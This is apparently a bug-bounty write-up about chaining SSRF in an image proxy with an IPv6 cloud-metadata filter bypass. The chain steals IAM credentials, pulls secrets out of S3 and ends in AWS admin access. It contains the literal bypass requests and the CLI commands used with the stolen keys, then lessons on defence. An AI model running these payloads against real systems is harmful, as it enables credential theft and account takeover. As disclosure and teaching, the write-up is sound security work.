skip to main content
hacking.communityplay in the sandbox.
← news & articles
writeup ai-assistedreviewed by Prakash Shinde

From SSRF to AWS Console: A Journey Through Metadata and Misconfigurations

What started as a simple image proxy quickly escalated to full AWS account compromise when I chained SSRF with overly permissive IAM roles—a reminder that defense in depth isn't optional.

Prakash Shinde·8/28/2026·37 views·
From SSRF to AWS Console: A Journey Through Metadata and Misconfigurations — hacking.community
0

Recon

The target was a content management platform that allowed users to embed external images. To prevent mixed-content warnings and tracking pixels, the platform proxied all external images through their own servers at https://target.com/api/fetch-image?url=<url>.

My initial testing showed the endpoint would fetch any URL I provided:

http
GET /api/fetch-image?url=https://example.com/image.png HTTP/1.1 Host: target.com

The server would fetch the image and return it with proper content-type headers. Standard SSRF testing commenced. I tried:

  • file:///etc/passwd - Blocked ("Invalid URL scheme")
  • http://localhost/admin - Blocked ("Localhost access denied")
  • http://169.254.169.254/ - Also blocked ("Metadata access denied")

The developers had implemented a blacklist. Good for them. But blacklists are famously incomplete.

Discovery

I started fuzzing alternate representations of localhost and the metadata IP:

  • http://127.0.0.1 - Blocked
  • http://0.0.0.0 - Blocked
  • http://[::1] - Blocked
  • http://2130706433 (decimal IP) - Blocked

Then I tried DNS rebinding techniques, but the application seemed to re-resolve and re-check on each request. Frustrating.

The breakthrough came when I remembered that AWS uses IPv6 for their metadata service as well: http://[fd00:ec2::254]/. I tried it:

http
GET /api/fetch-image?url=http://[fd00:ec2::254]/latest/meta-data/ HTTP/1.1 Host: target.com

Boom. The response contained metadata service output:

code
ami-id ami-launch-index ami-manifest-path ... iam/

The AHA moment: The blacklist only checked IPv4 representations of the metadata IP. The IPv6 endpoint was wide open.

Exploitation

I started enumerating the IAM role attached to the EC2 instance:

http
GET /api/fetch-image?url=http://[fd00:ec2::254]/latest/meta-data/iam/security-credentials/ HTTP/1.1

Response:

cms-application-role

Perfect. Now for the credentials:

http
GET /api/fetch-image?url=http://[fd00:ec2::254]/latest/meta-data/iam/security-credentials/cms-application-role HTTP/1.1

Response:

json
{ "Code": "Success", "LastUpdated": "2024-01-15T10:30:00Z", "Type": "AWS-HMAC", "AccessKeyId": "ASIA...", "SecretAccessKey": "...", "Token": "...", "Expiration": "2024-01-15T16:30:00Z" }

I now had temporary AWS credentials. I configured my local AWS CLI:

bash
export AWS_ACCESS_KEY_ID="ASIA..." export AWS_SECRET_ACCESS_KEY="..." export AWS_SESSION_TOKEN="..." aws sts get-caller-identity

Output:

json
{ "UserId": "AROA...:i-0abcd1234", "Account": "123456789012", "Arn": "arn:aws:sts::123456789012:assumed-role/cms-application-role/i-0abcd1234" }

Now came the critical question: what permissions did this role have? I started enumerating:

bash
aws s3 ls
code
2024-01-10 user-uploads-bucket 2024-01-10 cms-backups 2024-01-10 analytics-data 2024-01-10 admin-secrets

Wait. admin-secrets? That shouldn't be accessible to the application role. I checked:

bash
aws s3 ls s3://admin-secrets/
code
2024-01-14 database-credentials.json 2024-01-14 api-keys.txt 2024-01-14 aws-root-backup.json

This was bad. Really bad. I downloaded the files (in a controlled manner for the bug report):

bash
aws s3 cp s3://admin-secrets/database-credentials.json ./ cat database-credentials.json

The file contained production database credentials, Stripe API keys, and credentials for several third-party services. The aws-root-backup.json contained what appeared to be IAM access keys for an administrative user.

I tested the administrative credentials:

bash
export AWS_ACCESS_KEY_ID="AKIA..." export AWS_SECRET_ACCESS_KEY="..." aws iam list-users

It worked. I had administrative access to the entire AWS account.

Impact

The vulnerability chain allowed me to:

  1. Bypass SSRF protections via IPv6 metadata endpoint
  2. Steal IAM temporary credentials from the application instance
  3. Access S3 buckets with sensitive credentials (overly permissive IAM policy)
  4. Escalate to full AWS account admin via stored root-equivalent keys
  5. Access production databases, payment systems, and user data

The vendor's IAM policy for cms-application-role had a wildcard permission:

json
{ "Effect": "Allow", "Action": "s3:*", "Resource": "*" }

This meant the application role could access any S3 bucket in the account, not just the buckets it needed for uploads.

Lessons

SSRF prevention requires defense in depth. Blacklists are insufficient—always use allowlists and validate at multiple layers. The metadata service should be blocked at the network level (via iptables or AWS IMDSv2 requirement), not just application logic.

IAM permissions should follow least privilege. The application needed S3 access for one bucket, not all buckets. The correct policy should have been:

json
{ "Effect": "Allow", "Action": ["s3:GetObject", "s3:PutObject"], "Resource": "arn:aws:s3:::user-uploads-bucket/*" }

Never store long-lived credentials in S3. Use AWS Secrets Manager or Parameter Store with proper access controls. And definitely never store root-equivalent keys anywhere.

The vendor patched the SSRF (added IPv6 blocking, implemented IMDSv2, added network-level controls), fixed the IAM policies, and rotated all credentials. Bounty: $18,000. The real cost to the company if this had been exploited maliciously? Potentially millions.

Comments (0)

Sign in to join the discussion.

// go deeper

// install app

Install hacking.community for fast access, offline reading, and push notifications. No app store needed.